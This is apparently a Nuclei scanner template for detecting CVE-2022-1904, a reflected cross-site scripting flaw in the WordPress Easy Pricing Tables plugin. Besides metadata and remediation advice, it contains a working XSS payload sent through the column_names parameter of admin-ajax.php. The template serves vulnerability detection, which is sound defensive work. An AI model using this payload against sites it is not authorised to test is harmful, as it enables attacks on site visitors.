id: CVE-2022-1904

info:
  name: WordPress Easy Pricing Tables <3.2.1 - Cross-Site Scripting
  author: Akincibor
  severity: medium
  description: |
    WordPress Easy Pricing Tables plugin before 3.2.1 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape a parameter before reflecting it back in a page available to any user both authenticated and unauthenticated when a specific setting is enabled.
  impact: |
    Successful exploitation of this vulnerability could lead to cross-site scripting (XSS) attacks, allowing an attacker to execute malicious scripts on the victim's browser.
  remediation: |
    Update to the latest version of WordPress Easy Pricing Tables plugin (3.2.1) to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/92215d07-d129-49b4-a838-0de1a944c06b
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1904
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/cyllective/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-1904
    cwe-id: CWE-79
    epss-score: 0.01242
    epss-percentile: 0.65307
    cpe: cpe:2.3:a:fatcatapps:easy_pricing_tables:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: fatcatapps
    product: easy_pricing_tables
    framework: wordpress
  tags: cve,cve2022,wp,wordpress,wpscan,wp-plugin,xss,fatcatapps,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/admin-ajax.php?action=ptp_design4_color_columns&post_id=1&column_names=<script>alert(document.domain)</script>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script> - Color'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d58ab69a074bf7ec785bce76be09b5cb6496e342fbaaa6e3f3af65018f42b38702203b543f79c434e42725aa18029ae57ef8e6366589095c02fe323137058e143a7c:922c64590222798bb761d5b6d8e72950